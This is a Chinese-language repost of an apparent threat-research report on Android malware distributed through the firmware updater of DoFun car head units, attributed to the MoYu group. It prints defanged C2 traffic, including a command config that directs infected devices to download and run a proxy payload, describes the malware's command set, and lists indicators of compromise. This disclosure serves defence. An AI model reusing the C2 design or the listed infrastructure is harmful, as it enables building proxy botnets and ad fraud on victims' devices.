Reed's News
← 返回精选

安卓车载信息娱乐系统固件遭恶意软件感染

Tech 74 campuscodi 2026/8/23 2332 字 原文 ↗

2026年6月,我们在监测Android威胁时发现了一款新型安卓恶意软件。它的反常之处在于:安装流程与普通用户应用无异,却完全不伪装成合法软件——没有任何用户界面。这让我们怀疑,它可能是在用户不知情的情况下侵入设备的。后续调查证实了这一猜想,我们还成功还原了完整的感染链。

核心发现:

  • 发现新型安卓恶意软件:一款多阶段下载器,最终目的是实施广告欺诈并构建代理僵尸网络。
  • 恶意软件通过安卓车载主机固件的内置更新程序传播。这是首例有记录的、针对车载主机设备的专属感染链案例。
  • 我们高度确信,此次攻击活动与MoYu集团有关,该组织曾关联BADBOX僵尸网络。

卡巴斯基解决方案对以下威胁的检测命名如下:

  • HEUR:Trojan-Dropper.AndroidOS.Agent.vu
  • HEUR:Trojan-Downloader.AndroidOS.Agent.ov
  • HEUR:Trojan-Proxy.AndroidOS.Zhima.*
  • HEUR:Trojan.AndroidOS.Vo1d.*

车载主机固件概述

车载主机是一套集多媒体功能与部分车辆控制功能于一体的系统,既可能是车辆出厂标配,也可作为售后升级部件安装。这类系统的主要攻击途径包括物理入侵,以及主机操作系统或组件存在的漏洞,我们此前已对这两类途径做过介绍

部分车载主机采用Android系统,主要是因为对制造商而言十分便捷:Android源代码已适配车载主机的使用场景,还允许制造商在构建系统时添加自有应用,用于定制用户界面、开发符合厂商需求的系统组件等。

多数为安卓设备开发的应用都能在安卓车载主机上运行,恶意软件也不例外。不过,针对智能手机设计的部分恶意软件并不适用于攻击车载主机,比如银行木马——移动银行几乎仅在智能手机上使用,用银行木马感染车载主机纯粹是浪费攻击者的资源。

值得注意的是,车载主机通常配备SIM卡槽并支持联网,可实现导航、软件更新等功能。由于主机本身对攻击者而言没有直接价值,用"传统"安卓恶意软件攻击它的常见场景,是将其招募进僵尸网络,这与物联网设备遭受的攻击类似。

我们在研究中发现的正是这类恶意软件。DoFun车载主机的固件设计存在漏洞,让攻击者得以分发恶意软件。我们已将该分发机制告知厂商,对方随后反馈已修复相关安全问题。

以下是完整感染链:

车载主机感染示意图

车载主机感染示意图

下面我们详细解析这些主机的感染过程。

TWCore应用

TWCore是一款合法的系统应用,负责收集分析数据并更新车载主机软件。我们来看看它的更新功能具体如何运作。

流程相当简单:部署在cardoor[.]cn子域名下的MQTT消息代理会发送一条消息,包含需要下载并安装到主机的APK文件信息。值得注意的是,消息对象中有一个installNotExists字段,这是一个布尔值开关,可设为true或false。开启该开关后,TWCore就能安装设备原本没有的应用。

仅当installNotExists = false时,TWCore才会检查设备上是否已安装对应应用

仅当installNotExists = false时,TWCore才会检查设备上是否已安装对应应用

APK文件会被下载到<TWCore外部缓存目录>/push/apk/路径下等待安装。

TWCore下载APK文件的路径

TWCore下载APK文件的路径

我们的遥测数据显示,这些文件路径中存在未知恶意软件。此外,所有观测案例中的恶意软件,均由包名为com.tw.core的应用安装,与TWCore的包名完全匹配。

接下来我们拆解TWCore安装的恶意软件:JarService投放器。

第一阶段:JarService投放器

如前文所述,JarService是一款无任何界面的小型投放器应用。它会解密存储在木马代码中的加密数据块,每个数据块采用单字节密钥进行异或加密,且密钥在不同数据块间呈线性变化。解密后的数据包含第二阶段载荷的版本、入口点等序列化信息,以及用于加载后续程序的恶意代码。

解密并反序列化第二阶段载荷信息

解密并反序列化第二阶段载荷信息

在我们分析的JarService版本中,下一阶段载荷的入口点是com.c.j.qbh类的wa方法。

第二阶段:加载器

这一阶段的载荷是恶意加载器,其代码中包含加密字符串,后续会被用作类名,通过反射机制执行第三阶段载荷。加载器会通过POST请求将植入信息发送至攻击者的某台服务器。以下是向C2服务器发送请求的示例:

| 1 2 3 4 5 6 7 8 9 | {     "userId": "已脱敏",     "dexVersion": "1.7",     "dexType": 1,     "channelId": "2039",     "packageName": "com.tw.jar1",     "appVersion": 12,     "appName": "JarService" } |

C2服务器收到POST请求后,会返回第三阶段载荷的下载链接。以下是C2服务器响应示例:

| 1 2 3 4 5 6 7 8 | {     "code": 200,     "data": {         "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",         "dexVersion": 3.680,         "status": 0     } } |

木马会利用data对象中dexUrl字段的链接,下载用于加载下一阶段的序列化数据。该数据以一个单字节整数开头,此整数是解密加载器代码中字符串的密钥。紧随其后的是一个四字节浮点值,用于对第三阶段载荷进行异或解密,而第三阶段载荷本身就位于这些密钥之后。

解密第三阶段载荷

解密第三阶段载荷

解密后的载荷中,入口点是com.ast.sdk.BillingMain类的init方法,如下截图所示:

第三阶段载荷入口点

第三阶段载荷入口点

分析这一阶段时我们发现,下一阶段载荷的下载链接包含版本号。我们尝试了其他版本号,成功获取到7种不同的载荷变体,具体列在报告末尾的"入侵指标"部分。最早的3.57版本采用了与上述不同的解码算法,这可能意味着早期感染链在JarService与第三阶段载荷之间使用了不同的加载器。

第三阶段:点击器/反向代理加载器

默认情况下,这一阶段的恶意软件每90分钟会向/cpc/api/task发送一次POST请求,包含受感染设备的信息(如屏幕分辨率、设备型号、连接的Wi-Fi网络SSID、MAC地址等)以及木马的配置版本。若配置已过期,C2服务器会返回包含新C2地址和HTTP请求路径的更新配置。以下是响应示例,需注意在我们开展研究时,最新配置版本为3.82:

| 1 2 3 4 5 6 7 8 9 10 11 12 13 | {     "code": 100,     "data": {         "configVersion": 3.820,         "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],         "interval": 5500000,         "reportApi": "/cpc/api/report",         "tagName": "config",         "taskApi": "/cpc/api/task",         "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],         "vn": 1.010     } } |

若配置无需更新,C2服务器会返回整数形式的命令标识符,攻击者称之为productId。木马会将每个标识符映射为命令信息,并通过SharedPreferences API以序列化JSON对象的形式存储。每个标识符还有对应的版本号,以UNIX时间戳表示。若C2响应中包含未知的productId或版本过期的标识符,恶意软件会向攻击者服务器的/cpc/api/xml发送GET请求,获取所有此类标识符对应的命令内容。C2服务器会返回每个未知标识符的命令信息,示例如下:

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | {     "code": 200,     "data": [{         "productId": 979,         "script": "{\n  "loadType": 1,\n  "reload": true,\n  "method": "start",\n  "url2": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n  "md52": "de77c3303e93c9450424759f1741441c",\n  "name": "zhima",\n  "className": "com.miyc.transfer.Client",\n  "thread": true,\n  "tagName": "loadlib2",\n  "params": [\n    {\n      "type": "Context"\n    },\n    {\n      "type": "String",\n      "value": "107.151.248[.]132"\n    },\n    {\n      "type": "String",\n      "value": "1002"\n    },\n    {\n      "type": "int",\n      "value": 1337\n    },\n    {\n      "type": "int",\n      "value": 7777\n    },\n    {\n      "type": "int",\n      "value": 8888\n    },\n    {\n      "type": "int",\n      "value": 15000\n    }\n  ],\n  "url": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n  "md5": "de77c3303e93c9450424759f1741441c"\n}",         "version": 1778650942     }, {         "productId": 1019,         "script": "{\n  "loadType": 1,\n  "reload": true,\n  "method": "start",\n  "url2": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n  "md52": "de77c3303e93c9450424759f1741441c",\n  "name": "zhima",\n  "className": "com.miyc.transfer.Client",\n  "thread": true,\n  "tagName": "loadlib2",\n  "params": [\n    {\n      "type": "Context"\n    },\n    {\n      "type": "String",\n      "value": "128.14.210[.]58"\n    },\n    {\n      "type": "String",\n      "value": "1002"\n    },\n    {\n      "type": "int",\n      "value": 9999\n    },\n    {\n      "type": "int",\n      "value": 7777\n    },\n    {\n      "type": "int",\n      "value": 8888\n    },\n    {\n      "type": "int",\n      "value": 15000\n    }\n  ],\n  "url": "hxxp://144.217.243[.]201/vr34der34/sh65.io",\n  "md5": "de77c3303e93c9450424759f1741441c"\n}",         "version": 1766001509     }, {         "productId": 3505,         "script": "{\n"tagName":"http",\n"url":"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}"\n}",         "version": 1776656317     }],     "msg": "" } |

命令信息包含tagName字段,即命令名称。代码会将每个名称映射到负责执行该命令的对应类。

可执行命令列表

可执行命令列表

在我们开展研究时,攻击者已实现9种命令。下表列出了命令名称、简要说明及参数。这些命令的功能表明,该恶意软件可用于展示广告、实施广告欺诈(充当点击器)以及下载额外恶意代码。

| 命令名称 | 说明 | 参数 | | return | 从SharedPreferences中返回指定值。 | key: 需要返回值对应的键 | | copy | 设置剪贴板内容。 | text: 从SharedPreferences中取值并设为剪贴板内容的键url: 用于下载gzip压缩数据的链接(可选);下载的数据会与text键对应的值拼接,以5个空格作为分隔符 | | http | 向指定资源发送POST/GET请求,并可根据指令将响应内容保存到SharedPreferences的指定键下。 | url: 资源地址method: HTTP方法名称(可选)startLabel: 从响应中截取数据的起始标记(可选)endLabel: 从响应中截取数据的结束标记(可选)valueLabel: 保存响应内容的键(可选)header: HTTP请求头字典(可选)content: POST请求内容(可选) | | web | 在WebView中打开链接,并在其中执行任意JavaScript代码。 | url: 在WebView中打开的链接js: 需在WebView中执行的Base64编码JavaScript代码;当url参数为空或不存在时使用corejs: 资源加载到WebView时执行的JavaScript代码(可选)param: 启动WebView的参数字典client: 若存在该键,则使用WebViewClient手动处理重定向time: 任务超时时间 | | loadlib | 发布本报告时尚未完全实现。 | – | | loadlib2 | 下载并执行任意代码。 | url: 载荷下载地址name: 待下载模块的名称md5: 载荷的MD5哈希值clear: 需删除的载荷名称列表(逗号分隔,可选)params: 启动载荷所需的参数数组className: 载荷入口点的类名method: 载荷入口点的虚方法名称cmethod: 实例化入口点类所用的静态方法名称(可选)thread: 标志位;若未设置,载荷将在单独线程中运行reload: 标志位;若设置,将重启已加载的模块 | | loadlib3 | 发布本报告时尚未完全实现。 | – | | deeplink | 在浏览器中打开指定资源。 | url: 资源链接 | | traceroute | 通过ICMP ping检测资源可用性。 | host: 待检测资源列表(逗号分隔) |

不过,攻击者在实际攻击中仅使用了其中一小部分命令。如上述C2响应示例所示,在本报告发布时,攻击者主要使用loadlib2http命令。通过loadlib2命令下载的载荷是名为"zhima"的反向代理模块,诺基亚Deepfield应急响应团队的研究人员几乎在同一时间,也在电视机顶盒中独立发现了该模块,并在其报告中有所描述。这证实了攻击者的最终目标是构建代理僵尸网络。

在分析攻击链的这一阶段时,我们发现zhima模块的下载链接同样包含版本号。与上一阶段类似,我们尝试了其他可能的版本号,发现了8种zhima模块变体,最早的版本为57。已识别的zhima模块完整列表见下文"入侵指标"部分。

攻击溯源

分析完整感染链时,我们注意到第二阶段加载器创建了一个名为mosdk-host-loader的线程,命名具有明确指向性。我们随即展开调查,探寻mosdk的含义,最终发现一款包名为com.abc.nexus(哈希值3AD4BF5A86D26FFBF09CAE42AF330A98)的恶意应用,已安装在多款电视机顶盒中。该应用包含多个组件(包括与JarService类似的投放器),攻击者利用这些组件通过设备算力秘密牟利。其中,负责启动类JarService投放器的服务名为AdmoyuService。结合载荷代码中发现的恶意线程名称,我们推断服务名称中的"moyu"即指MoYu集团——该组织曾关联BADBOX恶意软件平台,HUMAN公司的研究人员此前已对其进行过描述。此外,该恶意软件的网络基础设施与MoYu集团存在大量重叠,诺基亚Deepfield应急响应团队的研究人员也在同期独立发现了这一点。基于这些相似的命名模式和显著的基础设施重叠,我们高度确信本次攻击活动由MoYu集团发起。

在调查TWCore下载的恶意软件时,我们发现域名admin.uipoxy[.]com解析到IP地址128.14.210[.]58,而该地址正是zhima反向代理模块的C2服务器之一。看起来hxxp://admin.uipoxy[.]com/proxy/u/login是zhima的管理面板,有趣的是,只要拥有有效的邀请码,任何人都可以注册。

恶意软件运营商注册页面

恶意软件运营商注册页面

注册过程中,用户需查看使用条款和隐私政策,这两份文档均托管在pxyedge[.]com域名下,该域名属于PXYEDGE——一家专门销售住宅代理服务的厂商。

admin.uipoxy[.]com的注册页面上,我们还发现了文字"copyright © 2020 proxyforu[.]com all rights reserved",该文字链接到hxxps://proxyforu[.]com,即另一家住宅代理服务厂商ProxyForU的官网。

我们发现这些网站的认证API存在多处相似性:

  • 登录页面均部署在admin.*子域名下
  • 登录页面路径均为/proxy/u/login
  • 注册页面路径均为/proxy/register?channelKey=<邀请码>

据此我们认为,这些服务均与MoYu集团存在关联。

结论

尽管网络安全从业者和执法部门已采取行动打击BADBOX僵尸网络,但与其关联的个别组织仍在持续开展恶意活动,感染全球各地的设备。这类恶意软件的传播方式多种多样,包括通过预装后门下载、利用受感染的IPTV应用安装等。本次研究的案例展示了一种更为复杂的传播手段:通过合法系统应用的更新功能分发恶意软件。攻击者还在积极拓展新的攻击平台,本次发现的恶意软件是首个针对车载主机的恶意应用,这意味着这类平台如今也需要针对性的恶意软件防护措施。

入侵指标

第一阶段:JarService

ba27951b4ee1c341f4415d033369ecd3

d63bacd6d6709dd68a10ef9d374c7835

6c2e34b30da42085240ede53ab6107d4

8b5e513144a6138a966ea59e68bf9da2

e119845877089d6f4b0a70dc7388f316

第二阶段:加载器

第三阶段:加载器/点击器

0fbaa7092204f4b1494e0b840b014774

1dcf031c40ce456b6a36a00b0acf3d11

44b6b213a6a3f299eaf88e078de95ecb

67dc78e544ebce16b85dc7c195dfbc58

9642ae619b3165d23c6349002d1abe24

b067d5b0dbecbd6498bcdfba45dba77e

f0e3f7eba2cde91e2dedb921bab47422

zhima模块

412e9243f2981bbea3894254d105b3b8

71ab5517f71866279d0d87d37f2ae320

89ef78f716a75964539f2db6520be362

a4223ce4288a230d1e6c3ff2c7639045

bd4d81cd27125ad3d9a114922d468499

c6bfb1643ac7474ed8a7b4f96a187fdb

de77c3303e93c9450424759f1741441c

f8cf8c23ff597700d471fb7767df8bac

域名与IP地址

xmsae[.]sbs

ishano456[.]sbs

xshaon123[.]sbs

kshahnd[.]sbs

mdsjhd[.]sbs

nmnsny[.]sbs

kookjar[.]com

ty54fgd435[.]my

ue886578433[.]online

ty4523[.]space

144.217.243[.]201

107.151.248[.]132

128.14.210[.]58

JarService下载地址

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

用于分发JarService的合法软件TWCore哈希值

2a64c3efc11bf224aa54f24e876446c9

7a4d3ba2dacccfdda55859a5dfee2671

ea24487996eb70c1780922fb3063bcc5